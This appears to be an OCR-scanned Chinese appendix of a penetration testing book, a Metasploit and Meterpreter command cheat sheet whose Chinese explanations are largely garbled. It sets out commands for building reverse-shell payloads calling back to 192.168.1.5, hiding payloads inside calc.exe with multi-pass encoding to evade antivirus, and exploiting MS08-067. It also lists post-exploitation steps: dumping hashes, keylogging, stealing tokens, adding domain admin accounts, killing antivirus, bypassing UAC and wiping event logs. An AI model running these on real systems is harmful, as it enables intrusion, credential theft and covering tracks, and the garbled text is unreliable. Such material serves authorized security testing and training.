Updated to revision XXXX,
@ rootlbt:/pentest/exploits/set# cd /pentest/exploits/fasttrack/
root@bt: /pentest/exploits/fasttrack# svn update
. SNIP .

At revision XXXX,
root@bt: /pentest/exploits/fasttrack#

£ Back|Track §', Metasploit 7 T/opt/framework3/msf3/@®, B AFEIT msfupdate® T HiiE
EumvEmBiZEART,

— H Metasploit 22 EH T, N3 H R P/ pentest/exploits/SET/@HIZIT svn update. B,
o 22 H R B/pentest/exploits/fasitrack/@ 3 B $ Fast-Track,

HAECELLBHFEF T ABHRARE, oA M ERRBERSEPE.
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Ff %
BELEEIR

LUF £ Metasploit fERIEFR O SEFPREEAK®SREES%, UK Meterpreter
FBAGEM BN SE, REHK—% ‘246" 2B AAMLRNBELR.

B.1 MSF K&isé4H2S

show exploits

7| Ht Metasploit 258 R BB {8 B,

show payloads
FItH Metasploit HE32H By () I T &L AT
show auxiliary

¥l Metasploit #£32 PRI BN IR,

séarch name

B F% Metasploit 2SR By 183 BUd AL A R



Metasploit ;8% Wi% &

info

st HIE BB B R A H R R

use name

- - MR A ESE AR (Fln. A windows/smb.psexec).

LHOST

VA A DR B AR WUEE R IP sk, EH M HRINAER —NREMAN, RRER
A CHT 1P bk, R0 B3R shell .

RHOST

ZEFR PR RN,

set function

HERFENLESE (Fla: REAMSERENSHD.

setg function

LERTASENREANLEESY (Flln: RERGIGEEENEH).

show options

FIHE T 2 BN EERRPTERNRRE S H,

show targets

FIHB BN ERTE.

Set target num

e URER RB R E AR AR R LA B b T R AR 265,

set payload payload

15 2 A2 A M B B AT

show advanced

FIHE A SRR EER .

set autorunscript migrate -f.

ERBEWRLGERE, MAaTERan— .

check

BB B RSN R E BB FEEHNESRA.

exploit

AT V8 B SRR R I i H #R.

exploit -j

T RIS THITBBRRT (HEER ST,

exploit -z

BEBEHSEAN S &ERTEE.

exploit -e encoder

W EA B R AT S 7 (#lf: exploit -¢ shikata_ga nai).

exploit -h

FIH exploit #ir4-HIHBIME B .

sessions -1

FIH AT AR E & (TELE L shell D,
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ik B wmeBEIE

sessions ~] <v
FIHPr I i AR D =1G A R 20 FRE S, Fif. BHRENFR THl-NESFRR,

sessions -s script

E P B &K ) Meterpreter 21 P IEIT — V555 £ Meterpreter f{ 4.
sessions -K

RICFTA TR L2iE.

sessions -¢ cmd

FERT A TR ER AT Meterpreter 238 AT -1 s

sessions -u sessionID

Fréf— T E ] Win 32 shell | Meterpreter shell.

db_create name

B — T BIERWEIR G E AR ERE (Filn: db creat autopwn).
db_connect name

BRI M EIEER AP EM A NEEERE (fin: db_connect autopwn ).
db_nmap

A nmap T BEFEAEREEES CGZHEBEN nmap 83, HW: -sT -v -P0O),
db_autopwn -h

Rt db_autopwn M4 BIHI B B .

db_autopwn -p -v -

T BRI O AT db autopwn , BUHFTH ES, HEB -4 ERE shell.
db_destroy

PR ER =R SR EE .

db_destroy user:password@host: port/database

15 FH i R T RS JR 4R 1

B.2 Meterpreter i 2

help

T H Meterpreter {# F G .

run scriptname

IBAT Meterpreter A, 7E scripts/meterpreter B R T A B EDFFERNEL .
sysinfo

it ZIREF PR ARG R

Is

S B iF EFBIX G ARER.
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use priv
MESFBUR AT R, HY & Meterpreter FF.

ps
ERFBEBITERE AR KS .

migrate PID

B R — A ERHEFE 1D (PID Sa[5@1 ps dr2 M Hix EHL EIRTG ).
use incognito

# incognito ThEk (ARBRG BHEENH-SBELBE AT ).
list_tokens -u

Flth BAsEH A A el AR,

list_tokens -g

FIHH H ar =AU RG] SR

impersonate token DOMAIN_NAMEWUSERNAME

BRE BETH FRT RS,

steal token PID

DT 5 s i RE U AT -2 M 3R AT S VIR E

drop_token

&L B SRS 8.

getsystem

BN A R a) E KR R R G AR .

shell

LB T H 4 BURIE AT — M 3E B Shell,

execute -f cmd.exe -

H AT cmd.exe Ap- % HHITALH..

execute -f cmd.exe -i -t

e E AT R & HERARAT emd 212,

execute -f emd.exe -1-H -t

AT AT -4 B HAT emd & IR RGZHERE

rev2self

EIEIEAE Y S P TESIN: B TE -2t Fad . T S

reg command

EBFREVENRPERITET, O, Bk ZHOHEAE.
setdesktop number

TigEn— A EPAE GRIVEETRERP CEFR).

screenshot

Xf H A3 XA FRRERE1T 4R E
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upload file

GINSE 5o 1 Wl ok 20w o

download file

M B EXLFEOCHE

keyscan_start

FxbEiE Hir VU B @ a2 RIhke.
keyscan_dump

o5 HAr EPL Ry SR .
keyscan_stop

& 1E& B A ALK @R R
getprivs

RATHE % RIEREL H #7 41 L R4
uictl enabile keyboard/mouse

B HIRENL R BRE R F 4R
background

R HHIHY Meterpreter shell ¥4 5 €DiT.
bashdump

F it RAr EHLH K DS ng A4

use sniffer

BB R LR .

sniffer_interfaces

Fl His T A FRPIMERED.
sniffer_dump interfacelD pcapname

£ B pr EHL LG 3R,

sniffer_start interfaceID} packet-buffer
E Her EHL 803 E e TE R 0 B B & MW K 3 3 R4K.
sniffer_stats interfacelD

TR LE £ 38 e AR PR 4% 432 10 B G v 3
sniffer stop interfacelD

#FIETR R

add_user username password -h ip
LR B A5 XN BRm—A P
add_group_user "Domain Admins"” username -h ip
B P mE G RN EE R
clearey

B Hir 4 F R Rl k.
timestomp

BECUF R, SISO TR ] (REGERZED.

reboot

HRAHRE.

MRB HEBETIX
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B.3 MSFpayload #%

msfpayload -h

MSFpayload HI#FEBI{E B .

msfpayload windows/meterpreter/bind_tcp O
1) H B A AT A ) Bk 3

msfpayload windows/meterpreter/bind_tcp O.
| BT windowsineterpreter/bind_tep FRTHEATFINCE I (R A A LIECE /D,

msfpayload windows/meterpreter/reverse _tep LHOST=192.168.1.5 LPORT=443 X >

payload.exe

E - Meterpreter [€] reverse tcp Bili 3T, PIEEZF] 192.168.1.5 9443 & O, M HEGFA
4 }1 payload.exe ) Windows FI#ITHEF .

msfpayload windows/meterpreter/reverse tep LHOST=192.168.1.5 LPORT=443 R >

payload.raw

5 bR RIBEEA, B BRAE RIS, 123048 7E R TR MSFencode B8 .
msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c
5 LEEmFFERE EEA, H5 N C #310H shellcode.

msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java
S B %u S F7 AT JavaScript i 5 AR .

B4 MSFencode 7%

msfencode -h

5| MSFencode B # Bh {5 & .

msfencode -]

FIth A o] B gmhs4E .

msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs,
loop-vhs, asp, war, macho)

EBaAEwEEN KRR

msfencode -1 payload.raw -0 encoded_payload.exe -¢ x86/shikata ga nai-¢ 5
-t exe

{# i} shikata ga nai #5233 X payloadraw X AT 5 KEE, REBRH—1THH
encoded_payload.exe B304 .

msfpayload windows/meterpreter/bind_tep LPORT=443 R | msfencode -e x86/

_countdown -¢ § -t raw | msfencode -e x86/shikata ga nai-c 5 -t exe -0

multi-encoded pavyload.exe

flE- -l R REE AR ERER LB R .

msfencode -i payload.raw BufferRegister=ESI -e x86/alpha mixed -t ¢

Bl — AT R EF ] shellcode, H ESI & 7228185 shellcode, BL CIEFHAHH.
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B.5 MSFcli <

msicli | grep expleit

VEIITRIY: 3958k 8o

msfcli | grep exploit/windows

7L 5 Windows FlXHNB BB TR R .

msfcli exploit/windows/smb/ms08 067 netapi PAYLOAD=

windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E

X} 172.16.32,142 i ms08_067_netapi B W, BLE T bind_tcp a8, H U EE 443
I CAT BT

B.6 Metasploit SRZ K

msfpayload windows/meterpreter/reverse_tecp LHOST=192.168.1.5 LPORT=443 R |

msfencode -x calc.exe -k -0 payload.exe -¢ x86/shikata_ga nai -¢c 7 -t exe

G — 1 R 5L AT Meterpreter B a5 867, [RHEF] 192.168.1.5 FEHLH 443 3513, {#H] calc.exe
EAEAE TR, ST R — EETERBEN RS, BE4REshikaa_ga nai
G 5 38 B3 J5 A B e B Ay e S f T #EFF payload.exe.

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R |

msfencode -x calc.exe -0 payload.exe -¢ x86/shikata ga nai-c 7 -t exe

i 3 — A e R F) Meterpreter BI85, [BIEF] 192.168.1.5 EHLAY 443 313, 18] calc.exe
LA A TTER, PULEEBHRITR —ESTERIGHNHEFS, RANERGREHTE
BASEHEEN FRHEFE . XARRIEFHEH, SR EEREES T IR EH,
HAMILHHERIFTHRMEE W A . [FF, B54R A shikata ga nai SF9K I
o1 F2JF payload.exe.

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o payload.exe

-¢ x86/shikata_ga_nai-c 7 -t exe && msfcli multihandler PAYLOAD=windows/

meterpreter/bind_tep LPORT=443 E

tE# —4> raw 3K bind_tep B3, Meterpreter B 8, B shikata ga nai 953 7 K, &
i L payload.exe fir 2 1) Windows A ATIEFF S, RN S H 288 B & 8 TR 1T

B.7 MSFvenom
FIAH MSFvenom, —PEREMR, REEARLIREI NS EH.

msfvenom --payload

windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata ga nai
LHOST=172.16.1.32 LPORT=443 > msf.exe

[*] x86/shikata ga nai succeeded with size 317 (iteration=1}

root@bt ./ /opt/framework3/mst3f

R—{T S pb AT AEI 2R — A B 83T 9 B 3 4 Y AT 3T SO R
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B.8 Meterpreter FiZiEM T
£ Windows EHL {3 Meterpreter JH{TEREUERAE .

MRS

meterpreter » use priv
meterpreter > getsystem

M—A G ERHERE 1D PO —MREE LA LW, B0

BERAHT.

A,

pam e 4L SREAPIEAURES

meterpreter > ps

meterpreter » steal token 1784
meterpreter > shell

C:\Windows\system3z>net user metasploit p@55wOrd /JADD /DOMAIN

C:\Windows\systemi2>net group "Domain Admins" metasploit /ADD /DOMAIN

M SAM ¥ FE g B A ) s A4 .

meterpreter » use priwv
meterpreter > getsystem
meterpreter > hashdump

$BiR: J£ Windows 2008 ¥, 4R petsystem € 4~#= hashdump 44~ & B #let, {&E
A3 F] Ak SYSTEM A SR FRIBATH B4R P .

B hxE 2 — P IR

meterpreter » ruﬁ migrate

i Meterpreter #] killav B3R &5 H 5 LHLET IR BERALRE.

meterpreter > run killav

bR — M E ROBER 4K B AR AL L AR AT 0 R

meterpreter > ps

meterpreter > migrate 1436
meterpreter > keyscan_start
meterpreter > keyscan _dump
meterpreter > keyscan_stop
fERESHRRETEER
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meterpreter > use incognito
meterpreter > list tokens -u
meterpreter > use priv
meterpreter > getsystem



Mz B wmEEHEEHR

meterpreter » list_tokens -u
meterpreter > impersonate_token IHAZSECURITY\MAdministrator

A HARENARE TR, JIHBB3ER, XHB kU R R E R RSN
PiG .

meterpreter > run getcountermeasure
meterpreter > run getcountermeasure -h
meterpreter > run getcountermeasure -d -k

AR N EAR TR -6 B

meterpreter > run checkvm

£ —1~ Meterpreter £21% 57 i P 1 omd shell.

meterpreter > shell

KE B EYRIEERE (VNC)

meterpreter » run wnc

& IEARI=1T 1 Meterpreter R ILE 61817,

meterpreter » background

et Windows B I P F#H (UAC) HLEl.

meterpreter > run post/windows/escalate/bypassuac

FHER OSX REM O 4 AE.

meterpreter > run post/osx/gather/hashdump

i Linux FEEER O-SHA/{E.

meterpreter > run post/linux/gather/hashdump
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